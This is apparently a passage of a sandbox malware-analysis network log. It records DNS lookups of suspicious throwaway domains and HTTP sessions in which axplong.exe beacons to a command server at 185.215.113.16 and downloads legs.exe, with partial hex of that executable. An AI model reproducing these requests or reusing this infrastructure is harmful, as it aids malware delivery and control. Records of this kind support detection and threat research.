Dec 23, 2024 17:16:57.020019054 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:57.020791054 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:57.020889997 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:57.021205902 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:57.021205902 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:57.021295071 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:57.021347046 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:57.021409988 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:57.021455050 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:57.022191048 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:57.022269964 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:57.022293091 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:57.022361994 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:57.022942066 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:57.023009062 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:57.023047924 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:57.023116112 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:57.023803949 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:57.023844957 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:57.023921013 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:57.024049044 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:57.024571896 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:57.024646044 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:57.024682045 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:57.024785995 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:57.025403976 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:57.025490999 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:57.025525093 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:57.025676966 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:57.026284933 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:57.026372910 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:57.026387930 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:57.026546955 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:57.027036905 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:57.027085066 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:57.027127981 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:57.027173996 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:57.027854919 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:57.027949095 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:57.027966022 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:57.028074026 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:57.028672934 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:57.028736115 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:57.028772116 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:57.028923988 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:57.029494047 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:57.029546022 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:57.029608011 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:57.029898882 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:57.030293941 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:57.030369043 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:57.030430079 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:57.030528069 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:57.031733990 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:57.031836033 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:57.031970978 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:57.031970978 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:57.031980991 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:57.031995058 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:57.032164097 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:57.032164097 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:57.032780886 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:57.032871962 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:57.033560038 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:57.033699036 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:57.034148932 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:57.034148932 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:57.034148932 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:57.034148932 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:57.034410000 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:57.034457922 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:57.034485102 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:57.035326004 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:57.184253931 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:57.184287071 CET	80	49733	31.41.244.11	192.168.2.9

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 23, 2024 17:16:14.150762081 CET	192.168.2.9	1.1.1.1	0xdcad	Standard query (0)	pancakedipyps.click	A (IP address)	IN (0x0001)	false
Dec 23, 2024 17:16:20.455390930 CET	192.168.2.9	1.1.1.1	0xf632	Standard query (0)	bitbucket.org	A (IP address)	IN (0x0001)	false
Dec 23, 2024 17:16:21.928419113 CET	192.168.2.9	1.1.1.1	0x8585	Standard query (0)	energyaffai.lat	A (IP address)	IN (0x0001)	false
Dec 23, 2024 17:16:22.327294111 CET	192.168.2.9	1.1.1.1	0xea1e	Standard query (0)	grannyejh.lat	A (IP address)	IN (0x0001)	false
Dec 23, 2024 17:16:22.561744928 CET	192.168.2.9	1.1.1.1	0x6cdf	Standard query (0)	discokeyus.lat	A (IP address)	IN (0x0001)	false
Dec 23, 2024 17:16:22.780697107 CET	192.168.2.9	1.1.1.1	0x17ec	Standard query (0)	necklacebudi.lat	A (IP address)	IN (0x0001)	false
Dec 23, 2024 17:16:23.062401056 CET	192.168.2.9	1.1.1.1	0x4465	Standard query (0)	aspecteirs.lat	A (IP address)	IN (0x0001)	false
Dec 23, 2024 17:16:23.067245960 CET	192.168.2.9	1.1.1.1	0x8d55	Standard query (0)	bbuseruploads.s3.amazonaws.com	A (IP address)	IN (0x0001)	false
Dec 23, 2024 17:16:23.405828953 CET	192.168.2.9	1.1.1.1	0xb2a9	Standard query (0)	sustainskelet.lat	A (IP address)	IN (0x0001)	false
Dec 23, 2024 17:16:23.891165972 CET	192.168.2.9	1.1.1.1	0x7130	Standard query (0)	crosshuaht.lat	A (IP address)	IN (0x0001)	false
Dec 23, 2024 17:16:24.129112005 CET	192.168.2.9	1.1.1.1	0x5fed	Standard query (0)	rapeflowwj.lat	A (IP address)	IN (0x0001)	false
Dec 23, 2024 17:16:24.445250988 CET	192.168.2.9	1.1.1.1	0x4f72	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false
Dec 23, 2024 17:16:27.379885912 CET	192.168.2.9	1.1.1.1	0x4f97	Standard query (0)	lev-tolstoi.com	A (IP address)	IN (0x0001)	false
Dec 23, 2024 17:16:33.247452974 CET	192.168.2.9	1.1.1.1	0xf34a	Standard query (0)	wcCUGXykADNzZuDCbIFIvizjQpm.wcCUGXykADNzZuDCbIFIvizjQpm	A (IP address)	IN (0x0001)	false
Dec 23, 2024 17:17:40.054425955 CET	192.168.2.9	1.1.1.1	0x576a	Standard query (0)	httpbin.org	A (IP address)	IN (0x0001)	false
Dec 23, 2024 17:17:40.054498911 CET	192.168.2.9	1.1.1.1	0x8772	Standard query (0)	httpbin.org	28	IN (0x0001)	false
Dec 23, 2024 17:18:19.350318909 CET	192.168.2.9	1.1.1.1	0x81c6	Standard query (0)	home.twentytk20ht.top	A (IP address)	IN (0x0001)	false
Dec 23, 2024 17:18:19.350397110 CET	192.168.2.9	1.1.1.1	0x26c7	Standard query (0)	home.twentytk20ht.top	28	IN (0x0001)	false
Dec 23, 2024 17:18:19.350492001 CET	192.168.2.9	1.1.1.1	0x81c6	Standard query (0)	home.twentytk20ht.top	A (IP address)	IN (0x0001)	false
Dec 23, 2024 17:18:26.936661005 CET	192.168.2.9	1.1.1.1	0xef5c	Standard query (0)	home.twentytk20ht.top	A (IP address)	IN (0x0001)	false
Dec 23, 2024 17:18:26.936732054 CET	192.168.2.9	1.1.1.1	0xc80b	Standard query (0)	home.twentytk20ht.top	28	IN (0x0001)	false
Dec 23, 2024 17:18:58.702549934 CET	192.168.2.9	1.1.1.1	0xe076	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Dec 23, 2024 17:18:58.702730894 CET	192.168.2.9	1.1.1.1	0x86ef	Standard query (0)	www.google.com	65	IN (0x0001)	false
Dec 23, 2024 17:18:59.660155058 CET	192.168.2.9	1.1.1.1	0x9950	Standard query (0)	fannleadyn.click	A (IP address)	IN (0x0001)	false
Dec 23, 2024 17:19:05.409907103 CET	192.168.2.9	1.1.1.1	0x699a	Standard query (0)	twentytk20ht.top	A (IP address)	IN (0x0001)	false
Dec 23, 2024 17:19:05.409970045 CET	192.168.2.9	1.1.1.1	0x9db0	Standard query (0)	twentytk20ht.top	28	IN (0x0001)	false
Dec 23, 2024 17:19:05.555372000 CET	192.168.2.9	1.1.1.1	0x5e03	Standard query (0)	apis.google.com	A (IP address)	IN (0x0001)	false
Dec 23, 2024 17:19:05.555468082 CET	192.168.2.9	1.1.1.1	0x534a	Standard query (0)	apis.google.com	65	IN (0x0001)	false
Dec 23, 2024 17:19:05.702709913 CET	192.168.2.9	1.1.1.1	0x699a	Standard query (0)	twentytk20ht.top	A (IP address)	IN (0x0001)	false
Dec 23, 2024 17:19:06.581490040 CET	192.168.2.9	1.1.1.1	0x984	Standard query (0)	play.google.com	A (IP address)	IN (0x0001)	false
Dec 23, 2024 17:19:06.581724882 CET	192.168.2.9	1.1.1.1	0x8728	Standard query (0)	play.google.com	65	IN (0x0001)	false
Dec 23, 2024 17:19:08.584137917 CET	192.168.2.9	1.1.1.1	0x636e	Standard query (0)	twentytk20ht.top	A (IP address)	IN (0x0001)	false
Dec 23, 2024 17:19:08.584389925 CET	192.168.2.9	1.1.1.1	0x5be9	Standard query (0)	twentytk20ht.top	28	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 23, 2024 17:16:14.469711065 CET	1.1.1.1	192.168.2.9	0xdcad	No error (0)	pancakedipyps.click		172.67.209.202	A (IP address)	IN (0x0001)	false
Dec 23, 2024 17:16:14.469711065 CET	1.1.1.1	192.168.2.9	0xdcad	No error (0)	pancakedipyps.click		104.21.23.76	A (IP address)	IN (0x0001)	false
Dec 23, 2024 17:16:20.592730045 CET	1.1.1.1	192.168.2.9	0xf632	No error (0)	bitbucket.org		185.166.143.48	A (IP address)	IN (0x0001)	false
Dec 23, 2024 17:16:20.592730045 CET	1.1.1.1	192.168.2.9	0xf632	No error (0)	bitbucket.org		185.166.143.49	A (IP address)	IN (0x0001)	false
Dec 23, 2024 17:16:20.592730045 CET	1.1.1.1	192.168.2.9	0xf632	No error (0)	bitbucket.org		185.166.143.50	A (IP address)	IN (0x0001)	false
Dec 23, 2024 17:16:22.324604034 CET	1.1.1.1	192.168.2.9	0x8585	Name error (3)	energyaffai.lat	none	none	A (IP address)	IN (0x0001)	false
Dec 23, 2024 17:16:22.557637930 CET	1.1.1.1	192.168.2.9	0xea1e	Name error (3)	grannyejh.lat	none	none	A (IP address)	IN (0x0001)	false
Dec 23, 2024 17:16:22.778590918 CET	1.1.1.1	192.168.2.9	0x6cdf	Name error (3)	discokeyus.lat	none	none	A (IP address)	IN (0x0001)	false
Dec 23, 2024 17:16:23.003027916 CET	1.1.1.1	192.168.2.9	0x17ec	Name error (3)	necklacebudi.lat	none	none	A (IP address)	IN (0x0001)	false
Dec 23, 2024 17:16:23.368392944 CET	1.1.1.1	192.168.2.9	0x4465	Name error (3)	aspecteirs.lat	none	none	A (IP address)	IN (0x0001)	false
Dec 23, 2024 17:16:23.436167002 CET	1.1.1.1	192.168.2.9	0x8d55	No error (0)	bbuseruploads.s3.amazonaws.com	s3-1-w.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 23, 2024 17:16:23.436167002 CET	1.1.1.1	192.168.2.9	0x8d55	No error (0)	s3-1-w.amazonaws.com	s3-w.us-east-1.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 23, 2024 17:16:23.436167002 CET	1.1.1.1	192.168.2.9	0x8d55	No error (0)	s3-w.us-east-1.amazonaws.com		3.5.29.203	A (IP address)	IN (0x0001)	false
Dec 23, 2024 17:16:23.436167002 CET	1.1.1.1	192.168.2.9	0x8d55	No error (0)	s3-w.us-east-1.amazonaws.com		52.217.138.89	A (IP address)	IN (0x0001)	false
Dec 23, 2024 17:16:23.436167002 CET	1.1.1.1	192.168.2.9	0x8d55	No error (0)	s3-w.us-east-1.amazonaws.com		54.231.161.41	A (IP address)	IN (0x0001)	false
Dec 23, 2024 17:16:23.436167002 CET	1.1.1.1	192.168.2.9	0x8d55	No error (0)	s3-w.us-east-1.amazonaws.com		3.5.29.157	A (IP address)	IN (0x0001)	false
Dec 23, 2024 17:16:23.436167002 CET	1.1.1.1	192.168.2.9	0x8d55	No error (0)	s3-w.us-east-1.amazonaws.com		54.231.194.25	A (IP address)	IN (0x0001)	false
Dec 23, 2024 17:16:23.436167002 CET	1.1.1.1	192.168.2.9	0x8d55	No error (0)	s3-w.us-east-1.amazonaws.com		16.182.34.153	A (IP address)	IN (0x0001)	false
Dec 23, 2024 17:16:23.436167002 CET	1.1.1.1	192.168.2.9	0x8d55	No error (0)	s3-w.us-east-1.amazonaws.com		52.217.204.25	A (IP address)	IN (0x0001)	false
Dec 23, 2024 17:16:23.436167002 CET	1.1.1.1	192.168.2.9	0x8d55	No error (0)	s3-w.us-east-1.amazonaws.com		52.217.193.153	A (IP address)	IN (0x0001)	false
Dec 23, 2024 17:16:23.632483006 CET	1.1.1.1	192.168.2.9	0xb2a9	Name error (3)	sustainskelet.lat	none	none	A (IP address)	IN (0x0001)	false
Dec 23, 2024 17:16:24.113545895 CET	1.1.1.1	192.168.2.9	0x7130	Name error (3)	crosshuaht.lat	none	none	A (IP address)	IN (0x0001)	false
Dec 23, 2024 17:16:24.441641092 CET	1.1.1.1	192.168.2.9	0x5fed	Name error (3)	rapeflowwj.lat	none	none	A (IP address)	IN (0x0001)	false
Dec 23, 2024 17:16:24.583025932 CET	1.1.1.1	192.168.2.9	0x4f72	No error (0)	steamcommunity.com		104.121.10.34	A (IP address)	IN (0x0001)	false
Dec 23, 2024 17:16:27.654285908 CET	1.1.1.1	192.168.2.9	0x4f97	No error (0)	lev-tolstoi.com		172.67.157.254	A (IP address)	IN (0x0001)	false
Dec 23, 2024 17:16:27.654285908 CET	1.1.1.1	192.168.2.9	0x4f97	No error (0)	lev-tolstoi.com		104.21.66.86	A (IP address)	IN (0x0001)	false
Dec 23, 2024 17:16:33.468841076 CET	1.1.1.1	192.168.2.9	0xf34a	Name error (3)	wcCUGXykADNzZuDCbIFIvizjQpm.wcCUGXykADNzZuDCbIFIvizjQpm	none	none	A (IP address)	IN (0x0001)	false
Dec 23, 2024 17:17:40.350284100 CET	1.1.1.1	192.168.2.9	0x576a	No error (0)	httpbin.org		34.226.108.155	A (IP address)	IN (0x0001)	false
Dec 23, 2024 17:17:40.350284100 CET	1.1.1.1	192.168.2.9	0x576a	No error (0)	httpbin.org		98.85.100.80	A (IP address)	IN (0x0001)	false
Dec 23, 2024 17:18:19.488034010 CET	1.1.1.1	192.168.2.9	0x81c6	No error (0)	home.twentytk20ht.top		185.121.15.192	A (IP address)	IN (0x0001)	false
Dec 23, 2024 17:18:19.488085032 CET	1.1.1.1	192.168.2.9	0x81c6	No error (0)	home.twentytk20ht.top		185.121.15.192	A (IP address)	IN (0x0001)	false
Dec 23, 2024 17:18:27.074541092 CET	1.1.1.1	192.168.2.9	0xef5c	No error (0)	home.twentytk20ht.top		185.121.15.192	A (IP address)	IN (0x0001)	false
Dec 23, 2024 17:18:58.839276075 CET	1.1.1.1	192.168.2.9	0xe076	No error (0)	www.google.com		172.217.21.36	A (IP address)	IN (0x0001)	false
Dec 23, 2024 17:18:58.840423107 CET	1.1.1.1	192.168.2.9	0x86ef	No error (0)	www.google.com			65	IN (0x0001)	false
Dec 23, 2024 17:18:59.975569963 CET	1.1.1.1	192.168.2.9	0x9950	No error (0)	fannleadyn.click		104.21.63.229	A (IP address)	IN (0x0001)	false
Dec 23, 2024 17:18:59.975569963 CET	1.1.1.1	192.168.2.9	0x9950	No error (0)	fannleadyn.click		172.67.172.94	A (IP address)	IN (0x0001)	false
Dec 23, 2024 17:19:05.699724913 CET	1.1.1.1	192.168.2.9	0x5e03	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 23, 2024 17:19:05.699724913 CET	1.1.1.1	192.168.2.9	0x5e03	No error (0)	plus.l.google.com		142.250.181.78	A (IP address)	IN (0x0001)	false
Dec 23, 2024 17:19:05.715013027 CET	1.1.1.1	192.168.2.9	0x699a	No error (0)	twentytk20ht.top		185.121.15.192	A (IP address)	IN (0x0001)	false
Dec 23, 2024 17:19:05.796446085 CET	1.1.1.1	192.168.2.9	0x534a	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 23, 2024 17:19:05.840500116 CET	1.1.1.1	192.168.2.9	0x699a	No error (0)	twentytk20ht.top		185.121.15.192	A (IP address)	IN (0x0001)	false
Dec 23, 2024 17:19:06.718369007 CET	1.1.1.1	192.168.2.9	0x984	No error (0)	play.google.com		172.217.19.238	A (IP address)	IN (0x0001)	false
Dec 23, 2024 17:19:08.721923113 CET	1.1.1.1	192.168.2.9	0x636e	No error (0)	twentytk20ht.top		185.121.15.192	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.9	49708	185.215.113.16	80	3236	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Dec 23, 2024 17:16:03.446561098 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 23, 2024 17:16:04.961054087 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 23 Dec 2024 16:16:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Dec 23, 2024 17:16:05.002063990 CET	306	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 152 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 45 46 38 41 30 34 46 43 39 46 33 46 44 33 33 43 32 31 38 42 41 42 38 30 38 31 43 34 35 32 45 33 44 43 37 45 37 34 37 36 43 39 44 39 30 46 46 31 46 33 32 38 38 31 46 35 31 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CEF8A04FC9F3FD33C218BAB8081C452E3DC7E7476C9D90FF1F32881F51
Dec 23, 2024 17:16:05.464479923 CET	1102	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 23 Dec 2024 16:16:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 33 38 66 0d 0a 20 3c 63 3e 31 30 30 31 35 32 37 30 30 31 2b 2b 2b 61 61 30 65 64 33 36 35 35 34 65 31 39 66 62 66 66 64 35 37 34 34 66 36 39 63 35 38 36 37 65 65 38 32 31 34 66 38 31 35 64 62 33 34 39 36 61 33 61 39 61 37 32 66 66 39 66 61 65 39 66 64 34 66 37 33 65 62 23 31 30 30 34 38 39 39 30 30 31 2b 2b 2b 61 61 30 65 64 33 36 35 35 34 65 31 39 66 62 66 66 64 35 37 34 34 66 36 39 63 35 38 36 37 65 65 38 32 31 34 66 38 31 35 64 62 33 34 38 62 61 38 62 39 66 63 36 63 66 64 66 30 61 38 65 33 31 33 32 35 65 62 66 63 36 33 23 31 30 30 36 33 34 33 30 30 31 2b 2b 2b 61 61 30 65 64 33 36 35 35 34 65 31 39 66 62 66 66 64 35 37 34 34 66 36 39 63 35 38 36 37 65 65 38 32 31 34 66 38 31 35 64 62 33 34 39 36 61 33 61 39 61 37 32 34 66 33 66 31 66 65 62 37 34 65 36 66 62 66 62 36 33 35 33 64 37 37 63 37 37 62 23 31 30 30 38 31 37 30 30 30 31 2b 2b 2b 61 61 30 65 64 33 36 35 31 64 66 34 39 66 61 31 61 37 30 62 31 65 61 36 64 38 30 65 32 32 62 61 63 37 30 39 62 39 35 36 38 61 33 34 39 32 62 34 61 34 65 64 33 34 [TRUNCATED] Data Ascii: 38f <c>1001527001+++aa0ed36554e19fbffd5744f69c5867ee8214f815db3496a3a9a72ff9fae9fd4f73eb#1004899001+++aa0ed36554e19fbffd5744f69c5867ee8214f815db348ba8b9fc6cfdf0a8e31325ebfc63#1006343001+++aa0ed36554e19fbffd5744f69c5867ee8214f815db3496a3a9a724f3f1feb74e6fbfb6353d77c77b#1008170001+++aa0ed3651df49fa1a70b1ea6d80e22bac709b9568a3492b4a4ed34ebf2e8b8597befe76322208c2dc20893aa6ab29be6f2198da5e4329908a0f93a0d5a6239d8b11a3e9f85a0783c834912176777a5#1008212001+++aa0ed36554e19fbffd5744f69c5867ee8214f815db3496a3a9a727fdeaa8e2046ef6e1#1008385001+++e312d3611ef49fa1f45a5fea9f5c7cf18216e50adc2dd0bebeed22f1b2e8b2446fe1e928766ada#1008386001+++aa0ed36554e19fbffd5744f69c5867ee8214f815db3492a4a4ed6ceefcf4b74566a0e17e76#1008387001+++e312d3611ef49fa1f65344f09c437beb8709e715c27d96a1affb6ce9f3f3a25f6ebcab74727cdb719e14d9a16c#1008388001+++aa0ed36554e19fbdf44c5ef5835f7deb9d16e70b8b7293a8b9a736f2f4eba64f3aa1f6677d76d073dd5fc4bc#<d>0
Dec 23, 2024 17:16:05.485918045 CET	52	OUT	GET /inc/legs.exe HTTP/1.1 Host: 185.215.113.16
Dec 23, 2024 17:16:06.068085909 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 23 Dec 2024 16:16:05 GMT Content-Type: application/octet-stream Content-Length: 776832 Last-Modified: Tue, 17 Dec 2024 11:09:59 GMT Connection: keep-alive ETag: "67615c07-bda80" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 09 00 a3 1e 60 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 00 00 aa 01 00 00 c0 00 00 00 00 00 00 52 59 00 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 10 0c 00 00 08 00 00 00 00 00 00 03 00 40 83 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 98 37 02 00 3c 00 00 00 00 a0 02 00 e8 00 00 00 00 00 00 00 00 00 00 00 00 ac 0b 00 80 2e 00 00 00 b0 02 00 40 19 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 fe 01 00 18 00 00 00 e8 cd 01 00 c0 00 00 00 00 00 00 00 00 00 00 00 28 39 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL`g"RY@@7<.@X(9T.text `.rdata$@@.datal"P>@.bsSST `.tlsV@.rsrcX@@.reloc@Z@B.bsst@.bssp@
Dec 23, 2024 17:16:06.068103075 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 23, 2024 17:16:06.068113089 CET	448	IN	Data Raw: ec 30 8b 5c 24 44 a1 c0 57 42 00 31 e0 89 44 24 2c 8b 43 3c 8b 6c 18 78 8b 44 1d 18 85 c0 0f 84 4f 01 00 00 8b 4c 1d 20 01 d9 89 4c 24 08 48 89 44 24 10 c7 04 24 00 00 00 00 89 5c 24 04 89 6c 24 0c 8b 44 24 08 8b 30 01 de 0f 57 c0 f2 0f 11 44 24 Data Ascii: 0\$DWB1D$,C<lxDOL L$HD$$\$l$D$0WD$$WD$V(w"\|$$D$(WVt$VfSCErPPD$\|$$l$(WVPe\$Dl$t$h5Vm
Dec 23, 2024 17:16:06.068124056 CET	1236	IN	Data Raw: 00 02 00 00 31 c9 88 8c 0c 00 01 00 00 89 c8 99 f7 fe 8a 04 17 88 04 0c 41 81 f9 00 01 00 00 75 e5 31 c0 31 c9 8a 94 04 00 01 00 00 00 d1 02 0c 04 0f b6 f1 8a b4 34 00 01 00 00 88 b4 04 00 01 00 00 88 94 34 00 01 00 00 40 3d 00 01 00 00 75 d4 83 Data Ascii: 1Au1144@=u$1111QQQ(9BCIuhMBheB~P:C$09G9$
Dec 23, 2024 17:16:06.068141937 CET	1236	IN	Data Raw: c4 0c 01 e7 83 c7 10 eb 4b 89 f9 83 c9 0f 83 f9 17 be 16 00 00 00 0f 43 f1 8d 46 01 81 f9 ff 0f 00 00 72 08 50 e8 0f 01 00 00 eb 06 50 e8 ef 11 00 00 83 c4 04 89 c3 89 44 24 10 89 7c 24 20 89 74 24 24 57 55 50 e8 c4 5f 00 00 83 c4 0c 01 df 8d 5c Data Ascii: KCFrPPD$\|$ t$$WUP_\$h5SmD$$r1L$prQ) $VQTWuED$D$E$(L$I!UW49BD$$4$t$
Dec 23, 2024 17:16:06.068152905 CET	1236	IN	Data Raw: 51 e8 8c 44 00 00 83 c4 08 c7 06 88 c3 41 00 f2 0f 10 47 0c f2 0f 11 46 0c 89 f0 5e 5f c2 04 00 cc 56 89 ce 8b 44 24 08 c7 01 28 c1 41 00 83 c1 04 31 d2 89 56 08 89 56 04 83 c0 04 51 50 e8 4f 44 00 00 83 c4 08 c7 06 a8 c3 41 00 89 f0 5e c2 04 00 Data Ascii: QDAGF^_VD$(A1VVQPODA^xdBdBd,;`VBhxdBP=xdBuh@hxdB\|V\|$tV^BUSWVPt$D$uJWFFj \
